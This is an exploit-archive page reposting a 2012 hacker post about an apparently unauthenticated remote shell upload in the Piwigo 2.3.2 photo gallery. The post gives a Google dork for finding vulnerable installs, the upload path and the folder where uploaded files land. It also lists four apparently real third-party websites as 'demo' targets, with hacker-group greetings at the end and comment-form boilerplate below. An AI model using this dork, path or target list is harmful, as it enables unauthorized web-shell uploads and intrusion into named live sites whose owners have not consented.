Piwigo 2.3.2 Shell Upload

2012.02.27

Credit: T0x!c

Risk: High

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

Dork: inurl:\"index.php?/add_photos\"

#### # Exploit Title: piwigo 2.3.2 Remote File Upload
# Author: T0x!c
# Date : 26-02-2012
# Facebook Page: www.facebook.com/DzTem
# E-mail: Malik_99@hotmail.fr
# Category:: webapps
# Google Dork:inurl:"index.php?/add_photos""
# Vendor: http://www.phpsources.org/description-script-Piwigo_15.htm
# Version: 2.3.2
# Tested on: [Windows Xp]
####
# Exploit :
http://127.0.0.1/Path/index.php?/add_photos
# Demo :
http://mikacourir.com/piwigo/index.php?/add_photos
http://labeille49.fr/galerie/index.php?/add_photos
http://www.heretiques.org/album/index.php?/add_photos
http://templiers-noirs.com/galerie/index.php?/add_photos
# File UpLoaded In :
http://127.0.0.1/Path/upload/
=================================**AlgeriansHackers**==================================
# Greets To : KedAns-Dz * Caddy-Dz * Kha&miX * Jago-dz * Nassim24Missil * Kalashinkov * (exploit-id.com) , (1337day.com) , (dis9.com) , (Dz-Team.biz) =======================================================================================

References:

http://www.phpsources.org/description-script-Piwigo_15.htm

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Piwigo 2.3.2 Shell Upload

Dork: inurl:\"index.php?/add_photos\"

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.